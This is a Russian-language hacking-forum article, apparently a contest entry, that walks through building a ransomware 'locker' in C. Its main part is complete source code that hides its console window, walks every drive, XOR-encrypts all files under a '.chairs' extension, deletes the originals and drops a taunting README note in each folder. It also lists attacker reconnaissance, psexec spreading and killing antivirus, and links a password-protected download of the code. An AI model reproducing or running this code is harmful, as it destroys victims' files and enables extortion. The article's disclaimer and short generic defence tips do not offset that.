- Регистрация
- 31.12.2019
- Сообщения
- 7,534
- Реакции
- 36
Содержание:
1. Предисловие от автора
2. Вступление
3. Почему С
4. Исследования
5. Код
6. Как защититься
7. Послесловие
1. Предисловие от автора
«Она так держит сигарету,
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»
Доброго времени суток, дорогой читатель!
Хочу поделится немного своими наработками и небольшим опытом. Да, я никогда не писал локер ранее. Больше того, я никогда серьёзно не задавался темой программирования данного софта, но у меня есть иного плана «сетевой» опыт, и, если сложить всё воедино, мы можем получить вполне приятный и интересный результат в виде исследований.
Данная статья — не посыл к действию, а скорее попытка изучить материал через практическую работу.
2. Вступление
Последние мировые тенденции приводят к тому, что люди тратят большую часть своей жизни, как профессиональной, так и личной, в сети Интернет. Однако мало кто из них, реально мало, осознает, что кибер-пространство — это новый и более изощренный плацдарм для всякого рода кибер-угроз.
Если изучить предысторию локеров, то станет понятно, что это новое семейство программ-вымогателей (ransomware), чья бизнес-модель (да, вредоносные программы – это бизнес для кого-то!) основана на вымогательстве денег у пользователей. Недаром этот вид деятельности классифицируется и расценивается как «терроризм». И об этом стоит всегда помнить, чем бы вы не планировали заниматься.
3. Почему С
C — один из старейших языков, который не может быть заменен каким-либо другим языком, поскольку он является своего рода “ядром” многих операционных систем. Первоначально С был разработан Д. М. Ричи для операционной системы UNIX в Bell Labs, а реализован впервые на компьютере DEC PDP-11 в 1972 году.
Перед перечислением преимуществ сразу скажу, что для нас самым важным является его скорость работы и довольно маленький размер exe после компилирования.
Преимущества языка Си:
- Как язык среднего уровня, C сочетает в себе функции языков высокого и низкого уровня. Он может использоваться для низкоуровневого программирования, такого как сценарии для драйверов и ядер, а также поддерживает функции языков программирования высокого уровня, таких как сценарии для программных приложений и т.д.
- C — это язык структурированного программирования, который позволяет разбить сложную программу на более простые программы, называемые функциями. Это также позволяет свободное перемещение данных через эти функции.
- Различные функции C, включая прямой доступ к аппаратным API на уровне машины, наличие компиляторов C, детерминированное использование ресурсов и динамическое распределение памяти, делают язык C оптимальным выбором для приложений сценариев и драйверов встроенных систем.
- Язык C чувствителен к регистру, что означает, что строчные и прописные буквы обрабатываются по-разному.
- C обладает высокой переносимостью и используется для создания сценариев системных приложений, которые составляют основную часть операционной системы Windows, UNIX и Linux.
- C — это язык программирования общего назначения, который может эффективно работать с корпоративными приложениями, играми, графикой и приложениями, требующими вычислений и т.д.
- Язык Си имеет богатую библиотеку, которая предоставляет ряд встроенных функций. Он также предлагает динамическое распределение памяти.
- C быстро реализует алгоритмы и структуры данных, ускоряя вычисления в программах. Это позволило использовать C в приложениях, требующих более высоких степеней вычислений, таких как MATLAB и Mathematica.
4. Исследования
Для начала немного предыстории.
Внимательно изучив поведение различных криптолокеров и другой рансомвари, можно заметить вполне не меняющуюся тенденцию использовать стандартные средства операционной системы и среды. Из многих возможностей, можно выделить несколько крайне важных моментов.
Для таргетированного лока нам важно:
1) определять dns suffix через команду «ipconfig /all»
2) для распространения по сети использовать psexec
3) список процессов - определять антивирусные решения, сравнивать по списку и глушить (либо делать uninstall – жестко, но эффективно, нам же всё равно, главное — результат шифрования)
Попадая в систему, некоторые локеры используют следующие шаги в командной строке:
Код:
whoami net user net group
И вот такую схему (на примере WastedLocker):
Почитать автора статьи можно здесь.
5. Код
« – Пилите, Шура, пилите. Они золотые!» © х\ф «Золотой телёнок»
Цитировать эту фразу без привязки к контексту трудно. Так и возникло золото. Но я всегда знал, что никакого "золота" там никогда не было.
Итак.
XssBot у нас уже есть (если что — это шутка, автор не претендует на чужие разработки). Пилим локер.
Настало время евГениального кода, он также не претендует на место лучшего и сделан, скорее, для ознакомления, ибо описывать создание боевого локера чревато последствиями.
Простейшая схема работы:
Начнем с объявления переменных, структур и функций:
Код:
#include "Windows.h" #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <dirent.h> #include <sys/types.h> #define AND & #define XOR ^ #define NOT ! int i = 0; FILE *buffer; FILE *ciphered; FILE *readme; float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126}; float precalculated; struct data_chars { char current_char; char ciphered_char; char pre_ciphered_char; } data; struct cipher_attrib { int password; char file[500]; char c_file[500]; char readmsg[500]; } c_attrib; void lineCounter(char *fileName); void recursiveSearch(char *basePath, const int root); int ch, number_of_lines = 0; int main(void) { // Прячем консоль при запуске HWND hWin = GetForegroundWindow(); ShowWindow(hWin, SW_HIDE); DIR *dirp; struct dirent *direntp; c_attrib.password = 900;
Функция рекурсивного поиска директорий:
Код:
void recursiveSearch(char *basePath, const int root) { char dirlist[2048]; struct dirent *dp; DIR *dir = opendir(basePath); FILE *paths; if (!dir) return; // Если dir является директорией запустится цикл while while ((dp = readdir(dir)) != NULL) { if (strcmp(dp->d_name, ".") != 0 && strcmp(dp->d_name, "..") != 0) { // Копируем basePath и // в dirlist strcpy(dirlist, basePath); strcat(dirlist, "//"); strcat(dirlist, dp->d_name); // Если dirlist является директорией записываем путь в текстовый файл DIR *directory = opendir(dirlist); if (directory != NULL){ // Открываем файл paths = fopen("C://Windows//Temp//filenames.txt", "a"); // Записываем dirlist в файл fprintf(paths, "%s\n", dirlist); // Закрываем файл fclose(paths); } recursiveSearch(dirlist, root + 2); } } closedir(dir); }
В функции main создадим массив с путями к дискам и запустим recursiveSearch в цикле for:
Код:
char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"}; int zero; for(zero = 0; zero <= 104; zero++ ){ recursiveSearch(dirlist[zero], 0); }
Рекурсивный поиск директорий
Чтобы создать массив нам нужно знать точное к-во элементов, для этого создадим функцию lineCounter которая “прочитает” все строки и запишет их количество в переменную:
Код:
void lineCounter(char *fileName){ FILE* myfile = fopen(fileName, "r"); do{ ch = fgetc(myfile); if(ch == '\n') number_of_lines++; } while (ch != EOF); if(ch != '\n' && number_of_lines != 0) number_of_lines++; fclose(myfile); }
В main вызываем функцию lineCounter и после нее записываем построчно пути к папкам в массив:
Код:
char *fileName = "filenames.txt"; lineCounter(fileName); char pathtofiles[number_of_lines][2048]; FILE *fp = fopen(fileName, "r"); char chunk[128]; int oo = 0; // Построчно считываем пути и записываем их в массив while(fgets(chunk, sizeof(chunk), fp) != NULL) { // Перевод каретки мы убираем, иначе у нас не выйдет “ходить” по директориям strtok(chunk, "\n"); strcpy(pathtofiles[oo], chunk); oo=oo+1; } // Закрываем и удаляем файл fclose(fp); remove(fileName);
Теперь самое интересное, локер:
Код:
int a = 0; // Пока а меньше или равно к-ву строк(элементов в массиве) цикл будет работать while(a <= number_of_lines){ char* path = pathtofiles[a]; a=a+1; dirp = opendir(path); while ((direntp = readdir(dirp)) != NULL) { strcpy(c_attrib.file, path); strcat(c_attrib.file, "/"); strcat(c_attrib.file, direntp -> d_name); strcpy(c_attrib.c_file, path); strcat(c_attrib.c_file, "/"); if((strcmp(direntp -> d_name, ".") != 0) && (strcmp(direntp -> d_name, "..") != 0)) { buffer = fopen(c_attrib.file, "r"); // Открыаем найденный файл if(buffer == NULL) { continue; } strcat(c_attrib.c_file, direntp -> d_name); strcat(c_attrib.c_file, ".chairs"); // Добавляем расширение к имени существующего файла ciphered = fopen(c_attrib.c_file, "w+"); // Создаем зашифрованный файл if(ciphered == NULL) { exit(EXIT_FAILURE); } while(!(feof(buffer))) { data.current_char = fgetc(buffer); data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password); for(i = 0;i <= 10;i++) precalculated = (sharedkey[i] * c_attrib.password); data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated); fputc(data.ciphered_char,ciphered); } fclose(buffer); fclose(ciphered); strcpy(c_attrib.file, path); strcat(c_attrib.file, "/"); strcat(c_attrib.file, direntp -> d_name); remove(c_attrib.file); } } // В каждой папке создаем файл README.txt и записываем в него текст strcat(c_attrib.readmsg, path); strcat(c_attrib.readmsg, "/"); strcat(c_attrib.readmsg, "README.txt"); readme = fopen(c_attrib.readmsg,"w+"); fprintf(readme, "\t--------------------------------------------------------------------- \n" "\t Вы думаете что я вас не переиграю? Что я не зашифрую ваши файлы? \n" "\t Я их зашифрую.\n" "\t https://www.youtube.com/watch?v=rtizjDbvIRU \n" "\t--------------------------------------------------------------------- \n\n" "\tМаэстро\n"); // Закрываем README.txt fclose(readme); } return 0; }
«Утром — деньги, вечером — стулья.» © роман «Двенадцать стульев» советских писателей Ильфа и Петрова.
После запуска локера все файлы превратятся в нечто подобное:
И:
6. Как защититься
А как же защититься от такого типа угроз?
Я вас разочарую: никак. Сложно изменить мировоззрение людей в один клик. Я могу дать лишь несколько советов, однако читатель должен осознавать, что каждый из нас в какой-то определенный момент времени делает свой выбор и повлиять на него могут лишь косвенные обстоятельства, происходящие именно в тот конкретный момент времени.
Я не хочу далеко вдаваться в подробности как следует защищать периметр корпоративных сетей, для этого существует множество описанных ранее методов и схем, но хочу отметить следующее.
Тренд развития мобильных устройств заставляет побеспокоится и о том, где и что вы используете, насколько сохранны ваши данные в сети, если к ней подключаются сторонние устройства посредством Wi-Fi и обычного кабеля (даже простая подзарядка). Вспомним нашумевший и уже широкоизвестный O.MG cable.
Мобильные устройства присутствуют уже фактически в любой сфере.
Несколько важных шагов:
- Включение PIN-кода либо Биометрического сканера (fingerprint) на мобильном устройстве.
6-ти значный ПИН-код — это 1,000,000 возможных комбинаций против 10,000 с 4-х значным ПИН-кодом. Буквенно-цифровой пароль также способен усилить защиту. - Также советую использовать полное шифрование диска мобильного устройства. Мне доселе неизвестны ситуации с полной дешифровкой устройств, например, Samsung Note. Потребители иногда путают наличие PIN-кода или пароля на своем телефоне и шифрование телефона – они отличаются. Неавторизованный пользователь может получить доступ к информации, хранящейся на незашифрованном телефоне, подключив телефон к компьютеру со специализированным программным обеспечением, не зная PIN-кода или пароля и установив блокировку экрана ПИН-кода. Шифрование телефона и использование надежного пароля предотвращает этот тип атаки.
- Будьте осторожны при использовании мобильного устройства в общественных точках доступа Wi-Fi. Следует помнить, что общедоступный Wi-Fi по своей сути небезопасен. Помните, что злоумышленнику легко создать беспроводную сеть с точно таким же именем, что затруднит проверку подлинности.
- Используйте VPN для защиты данных. Если получить доступ к вашему мобильному устройству, несложно фиксировать IP-адреса, с которых бот на устройстве будет отстукивать на C&C сервер взломщика. Сверив полученный адрес по базе IP2location или MaxMind (и другим подобным, у некоторых хакеров есть целые списки, собранные вручную адреса точек выхода корпоративного сегмента локальных сетей в Интернет) можно вполне определить, подключалось ли это устройство к корпоративной сети и в какой момент времени. И если ответ утвердительный, можно смело следить за перемещением устройства и запустить удаленное управление в момент пребывания в сети корпорации (компании) на устройстве, либо выполнить загрузку дополнительных модулей, чтобы попасть внутрь Интранета, «перепрыгнуть» на локальный компьютер и начать распространение уже вручную дальше по сети с закреплением.
- Держите ваше программное обеспечение в актуальном состоянии. Постоянно обновляйте программы и прошивку телефона.
7. Послесловие
Ни в коем случае автор данной статьи не претендует на чье-либо место, программный продукт или юмор в конкурсе. Так уж совпало, что статья была написана достаточно быстро (сутки).
Я очень надеюсь, что на следующий конкурс у меня появится и желание, и время доработать код и написать новую статью, внеся готовые уже модули, но которые ещё не были использованы в этой статье, такие как сканер Mac/IP компьютеров в локальной сети, реверс шелл, сканер портов и несколько других фич.
В данной статье не было упомянуто, что тенденции общей лени изживают адекватный подход, развивая новую весьма бизнес-модель как Ransomware-as-a-Service (RaaS). Автор статьи предпочитает самостоятельный подход к любому делу, в особенности темам с террористическим уклоном. Нужно не забывать, что рано или поздно придут за всеми, и осознавать разницу: иногда лучше вовремя «остановиться», чем вовремя «заехать»
Часть кода шифрования была взята отсюда.
Ваши стулья, сэр: https://vk.cc/axcuUB
Пароль: xss.is
Автор: RedBentley